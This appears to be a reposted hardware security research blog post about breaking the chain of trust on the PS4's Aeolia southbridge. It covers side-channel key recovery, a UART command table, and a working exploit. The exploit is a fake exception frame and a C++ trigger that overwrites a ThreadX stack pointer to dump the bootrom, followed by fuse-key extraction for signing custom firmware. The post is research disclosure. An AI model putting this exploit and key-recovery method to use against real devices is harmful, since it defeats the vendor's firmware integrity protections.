#define AES_RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ { \ X0 = *RK++ ^ AES_RT0( ( Y0 ) & 0xFF ) ^ \ AES_RT1( ( Y3 >> 8 ) & 0xFF ) ^ \ AES_RT2( ( Y2 >> 16 ) & 0xFF ) ^ \ AES_RT3( ( Y1 >> 24 ) & 0xFF ); \ // ... // in mbedtls_internal_aes_decrypt(...) GET_UINT32_LE( X0, input, 0 ); X0 ^= *RK++; GET_UINT32_LE( X1, input, 4 ); X1 ^= *RK++; GET_UINT32_LE( X2, input, 8 ); X2 ^= *RK++; GET_UINT32_LE( X3, input, 12 ); X3 ^= *RK++; for (i = (ctx->nr >> 1) - 1; i > 0; i--) { AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); ///... With some squinting, it can be seen that the byte accesses generated by this first sbox lookup for decryption (and not encryption) matches the above plot. Recovering the key encryption key With the cipher used to process wrapped_thing more or less determined, we can switch to Correlation Power Analysis and attempt key recovery using only the section of traces which concern the first sbox lookup. Much time passes. Much confusion about how to filter traces ensues. Eventually, after tweaking the CPA method a bit and applying some filtering to ignore noise, the key recovery was successful! The correlation needed to be changed to use AES T-tables (the logic for which is actually described in the original AES proposal) instead of the standard inverted sbox approach. The hypothesized key was determined to be correct by running it though possible key derivation schemes which the bootrom would use, and then attempting to decrypt the first few blocks of the ipl body with the result. The winning combination was: # process blocks previously named wrapped_thing and signature # emc_header_key is the value recovered with CPA def emc_decrypt_header(hdr): return hdr[:0x30] + aes128_cbc_iv_zero_decrypt(emc_header_key, hdr[0x30:0x80]) hdr = emc_decrypt_header(f.read(0x80)) body_aes_key = hdr[0x30:0x40] body_len = struct.unpack('<L', hdr[0xc:0x10])[0] body = aes128_cbc_iv_zero_decrypt(body_aes_key, f.read(body_len)) Again, quite luckily the scheme is simple. Well, now what? Having originally only set out to decrypt ipl, we were, in some sense, done already. However, the exploratory power analysis revealed that the aeolia_ipl_hdr.key_seed could be used to cause the derived key to change. As such, any future firmware update which didn’t use the hardcoded key_seed of [F1 F2 F3 F4 F5 F6 F7 F8] would require redoing the key recovery. Quite unsavory! The determination of header field usages as well as reversing the (now decrypted) ipl also revealed that the “signatures” used to verify the ipl were likely just HMAC-SHA1 digests. In other words, the entire chain of trust on Aeolia is done with symmetric keys present inside every Aeolia chip. With the likely location of this HMAC key being the bootrom, we set out to dump the bootrom. Bootrom dumpin’ The chosen method of dumping EMC bootrom was by exploiting some software bug in ipl code. The first part of the ipl code to catch my eye while reversing was the UART protocol (called ucmd), which allows a small set of commands to be used to interact with EMC. The list of commands, along with privileges required to use the commands, is: Command Name Auth Level _hdmi INT boot A_AUTH bootadr A_AUTH bootenable A_AUTH bootmode A_AUTH buzzer A_AUTH cb A_AUTH cclog A_AUTH ccom INT ccul INT cec A_AUTH cktemprid A_AUTH csarea A_AUTH ddr A_AUTH ddrr A_AUTH ddrw A_AUTH devpm A_AUTH dled A_AUTH dsarea A_AUTH ejectsw A_AUTH errlog ANY etempr A_AUTH fdownmode A_AUTH fduty A_AUTH flimit A_AUTH fmode A_AUTH fservo A_AUTH fsstate A_AUTH fstartup A_AUTH ftable A_AUTH halt A_AUTH haltmode A_AUTH hdmir A_AUTH hdmis A_AUTH hdmistate A_AUTH hdmiw A_AUTH help INT mbu A_AUTH mduty A_AUTH nvscsum A_AUTH nvsinit A_AUTH osarea A_AUTH osstate A_AUTH pcie A_AUTH pdarea A_AUTH powersw A_AUTH powupcause A_AUTH r16 A_AUTH R16 A_AUTH R32 A_AUTH r32 A_AUTH R8 A_AUTH r8 A_AUTH resetsw A_AUTH rtc A_AUTH sb A_AUTH sbnvs A_AUTH scfupdbegin A_AUTH scfupddl A_AUTH scfupdend A_AUTH scnvsinit A_AUTH scpdis A_AUTH screset A_AUTH scversion ANY sdnvs A_AUTH smlog A_AUTH socdmode A_AUTH socuid A_AUTH ssbdis A_AUTH startwd A_AUTH state A_AUTH stinfo INT stopwd A_AUTH stwb A_AUTH syspowdown A_AUTH task INT tempr A_AUTH testpcie A_AUTH thrm A_AUTH uareq1 ANY uareq2 ANY version ANY W16 A_AUTH w16 A_AUTH W32 A_AUTH w32 A_AUTH w8 A_AUTH W8 A_AUTH wsc INT where ANY indicates the command is always available, A_AUTH means you must use the uareq commands to authenticate successfully, and INT most likely means “internal only”. A quick review of the ANY command set didn’t reveal exploitable vulnerabilities. However, it should be noted that the uareq commands are designed such that uareq1 allows you to request a challenge buffer, and uareq2 allows you to send a response. However, since the total challenge/response buffer size is larger than can fit in a single ucmd packet, the transfer is split into 5 chunks. Naturally the response cannot be verified until the complete response is received by EMC, so never sending the last chunk results in being able to place arbitrary data at a known static address in EMC SRAM. This will be useful later The next places to look were: Places data is read from sflash by EMC icc command handlers exposed to the APU No luck with bugs in sflash parsing paths :‘( Quite sad now, I focused on the APU-accessible icc interface. It turns out icc (at least as implemented on EMC) is quite complex. Handling a single message can cause many buffers to be allocated, queued, copied, and free’d multiple times. The system also supports acting as a proxy for other icc endpoints (syscon and emc uart). In any case, a usable bug was found relatively quickly in some hdmi-related icc command handler: /* Call stack: HdmiSeqTable_setReg HdmiSeqTable_execSubCmd sub_1170BA hcmd_srv_10_deliver */ int HdmiSeqTable_setReg(HdmiSubCmdHdr *cmd, int a2, int a3, void *a4, int first_exec, void *a6) { int item_type; // r0 int num_items; // r5 u8 *buf; // r4 int i; // r0 HdmiEdidRegInfo *v12; // r1 item_type = cmd->abstract; num_items = cmd->num; if (first_exec) return; buf = (u8 *)&cmd[1]; switch (item_type) { case 1: { HdmiEdidRegInfo *src = (HdmiEdidRegInfo *)buf; for (i = 0; i < num_items; ++i) { // edid_regs_info is HdmiEdidRegInfo[4] in .data // addr is 0x152E3B in this case v12 = &edid_regs_info[i]; v12->field_0 = src->field_0; v12->field_1 = src->field_1; v12->field_2 = src->field_2; src++; } } break; //... } //... } This is an amusingly annoying primitive: starting from a static address, we can continously write 3 of every 4 bytes (see below for struct definitions). Since the base address (0x152E3B) is not naturally aligned, and all pointers stored in memory will be aligned, this becomes somewhat annoying. Also, the overwrite will trample over everything within range, so the closest corruption target as possible is needed. Luckily, there is a good target: The OS’s task objects are stored nearby. The OS appears to be some version of ThreadX with a uITRON wrapper. In any case, the struct being overwritten looks like: 00000000 ui_tsk struc ; (sizeof=0x130, mappedto_101) 00000000 00000000 tsk_obj TX_THREAD ? ... 00000000 TX_THREAD struc ; (sizeof=0xAC, align=0x4, mappedto_102) 00000000 00000000 tx_thread_id DCD ? 00000004 tx_thread_run_count DCD ? 00000008 tx_thread_stack_ptr DCD ? ... Considering aligment, low 2 bytes of the tx_thread_stack_ptr can be controlled by the overwrite, and the rest of the structure need not be corrupted. This is perfect, as ThreadX uses the field like so: ROM:00111E60 LDR.W R12, [R3,#TX_THREAD.tx_thread_stack_ptr] ROM:00111E64 LDMIA.W R12!, {R4-R11} ROM:00111E68 MSR.W PSP, R12 ROM:00111E6C MOV LR, #0xFFFFFFFD ROM:00111E70 BX LR In other words, if we can point tx_thread_stack_ptr at some controlled memory, we get control of all GPRs, including SP. And since it’s returning from interrupt, PC and PSR as well. With great luck, the buffer used by uareq2 is able to be reached just by changing the low 2 bytes (well, mainly because SRAM is so small, and the stacks are statically allocated in a convenient position). The exploit method is: Place a fake exception frame at a known address with ucmd uareq2. Use the bug to overwrite the tx_thread_stack_ptr of a task. Wait for the runtime to switch tasks and resume the thread via the modified tx_thread_stack_ptr. Sending UART traffic forces task switching, so we can get control instantly. Exception frame placing (via UART): ucmd_ua_buf = 0x15AD90 r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = r10 = r11 = r12 = 0 lr = pc = psr = 0 r6 = 0 # src r7 = 0xffff # len pc = 0x135B94 | 1 # print loop lr = pc psr = 1 << 24 fake_frame = struct.pack('<%dL' % (8 + 5 + 3), r4, r5, r6, r7, r8, r9, r10, r11, r0, r1, r2, r3, r12, lr, pc, psr) uc.uareq2(fake_frame) 0x135B94 is part of the inner loop of a hexdump-like function. This will result in spewing the bootrom (located @ addr 0 in EMC address space) out of UART. Perfect! Trigger code (via icc from APU): struct PACKED HdmiSubCmdTopHdr { u8 abstract; u16 size; u8 num_subcmd; }; struct PACKED HdmiSubCmdHdr { u8 ident; u8 size; u8 abstract; u8 num; }; struct PACKED HdmiEdidRegInfo { u8 field_0; u8 field_1; u8 field_2; u8 _unused; }; struct PACKED ArmExceptFrame { // r4-r11 saved/restored by threadx u32 tx_regs[8]; u32 r0; u32 r1; u32 r2; u32 r3; u32 r12; u32 lr; u32 pc; u32 xpsr; }; void Icc::Pwn() { // the last HdmiEdidRegInfo will overlap // &ui_tsk_objs[1].tsk_obj.tx_thread_stack_ptr size_t num_infos = 232; size_t hdrs_len = sizeof(HdmiSubCmdTopHdr) + sizeof(HdmiSubCmdHdr); size_t infos_len = num_infos * sizeof(HdmiEdidRegInfo); size_t buf_len = hdrs_len; buf_len += infos_len; buf_len += sizeof(ArmExceptFrame); buf_len += 0x20; auto buf = std::make_unique<u8[]>(buf_len); memset(buf.get(), 0, buf_len); auto hdr_top = (HdmiSubCmdTopHdr *)buf.get(); auto hdr = (HdmiSubCmdHdr *)(hdr_top + 1); auto infos = (HdmiEdidRegInfo *)(hdr + 1); auto stack_ptr_overlap = &infos[num_infos - 1]; //auto fake_frame = (ArmExceptFrame *)(infos + num_infos); hdr_top->abstract = 0; hdr_top->size = buf_len; hdr_top->num_subcmd = 1; hdr->ident = 4; // not checked hdr->size = infos_len; hdr->abstract = 1; hdr->num = num_infos; // control lower 2bytes of tx_thread_stack_ptr // needs to point to fake_frame u32 ucmd_ua_buf = 0x15AD90; u32 fake_frame_addr = ucmd_ua_buf; printf("fake frame %8x %8x\n", fake_frame_addr, fake_frame_addr + 8 * 4); stack_ptr_overlap->field_1 = fake_frame_addr & 0xff; stack_ptr_overlap->field_2 = (fake_frame_addr >> 8) & 0xff; uintptr_t x = (uintptr_t)&stack_ptr_overlap->field_1; uintptr_t y = (uintptr_t)infos; printf("%8lx %8lx %8lx %8lx\n", x, y, x - y, 0x152E3B + x - y); HdmiSubCmd(buf.get(), buf_len); } …and yes, it worked Ok, NOW what? With the bootrom in hand, it was now possible to see the actual key derivation in friendly ARM code form. The bootrom does contain a lot of key material, however it mixes the values stored in ROM with a value read from fuses in addition to the key_seed from ipl header. Unfortunately, even with arbitrary code exec on EMC, the fused secret cannot be dumped - it just reads as all-0xff. Inspecting the bootrom code shows that it appears to set a mmio register bit to lock-out the fuse key until the next power cycle. At first it looks as if we’re stuck again. But, let’s take a closer look at how bootrom uses the fuse key: int decrypt_with_seed(_DWORD *data_out, emc_hdr *hdr, int *data_in, _DWORD *key) { u8 v6[32]; // [sp+8h] [bp-108h] u8 rk[0xc0]; // [sp+28h] [bp-E8h] u8 iv[16]; // [sp+E8h] [bp-28h] *(_QWORD *)v6 = hdr->key_seed; *(_QWORD *)&v6[8] = hdr->key_seed; *(_DWORD *)&v6[16] = *data_in; *(_DWORD *)&v6[20] = data_in[1]; *(_DWORD *)&v6[24] = data_in[2]; *(_DWORD *)&v6[28] = data_in[3]; *(_DWORD *)iv = 0; *(_DWORD *)&iv[4] = 0; *(_DWORD *)&iv[8] = 0; *(_DWORD *)&iv[12] = 0; if (aes_key_expand_decrypt(key, rk) < 0 || aes_cbc_decrypt(v6, v6, 0x20u, rk, iv) < 0) { return -1; } *data_out = *(_DWORD *)&v6[16]; data_out[1] = *(_DWORD *)&v6[20]; data_out[2] = *(_DWORD *)&v6[24]; data_out[3] = *(_DWORD *)&v6[28]; return 0; } // in main(): //... // read fuse key to stack *(_DWORD *)v98 = unk_5F2C5050; *(_DWORD *)&v98[4] = unk_5F2C5054; *(_DWORD *)&v98[8] = unk_5F2C5058; *(_DWORD *)&v98[12] = unk_5F2C505C; if (dword_5F2C504C == 1) { // re-executing rom code (fuse already locked)? then bail *(_DWORD *)v98 = 0; *(_DWORD *)&v98[4] = 0; *(_DWORD *)&v98[8] = 0; *(_DWORD *)&v98[12] = 0; return 0x86000005; } // lock fuse interface dword_5F2C504C = 1; // derive the keys using rom values, header seed, with fuse value as key // rom_constant_x are values stored in bootrom if ( decrypt_with_seed(emc_header_aes_key, &hdr, rom_constant_0, v98) < 0 || decrypt_with_seed(emc_header_hmac_key, &hdr, rom_constant_1, v98) < 0) { return 0x86000005; } //... (also yes, I did check if the fuse key remains on the stack. It doesn’t.) Hm…so we can easily feed arbitrary data into the key derivation by modifying the key_seed, and we know the first 16 byte block is just the 8 byte key_seed repeated twice. Smells like a job for CPA again! Recovering the fuse key Adjusting the power tracing setup slightly to collect data from a different time offset and modifying the header generation code to target the key_seed instead of wrapped_thing were the only changes needed to acquire suitable traces. In the analysis phase, the only change needed was to account for the data always consisting of a duplicated 8bytes. My workaround for this was to rely on the fact that the temporal location where each byte should be processed is well known (recall the mbedtls code from a previous section). Instead of taking just the top match per byte position from CPA results, I took the top two matches and placed them into the recovered key based on the temporal position of the match. This finally resulted in acquiring all keys stored inside Aeolia (at least, the revision on SAA-001, it seems other revisions used different keysets). Thus, we can freely encrypt and sign our own ipl, and therefor control all code being executed on Aeolia, forever Recommended reading Introduction to differential power analysis - IMO the most clear rationale of DPA Side-Channel Power Analysis of a GPU AES Implementation - Touches on T-table usage Greetz Thanks to Volodymyr Pikhur for the previous work done on EAP and EMC (some can be seen here) and flatz, who has helped with reversing and bug hunting. Sursa: https://fail0verflow.com/blog/2018/ps4-aeolia/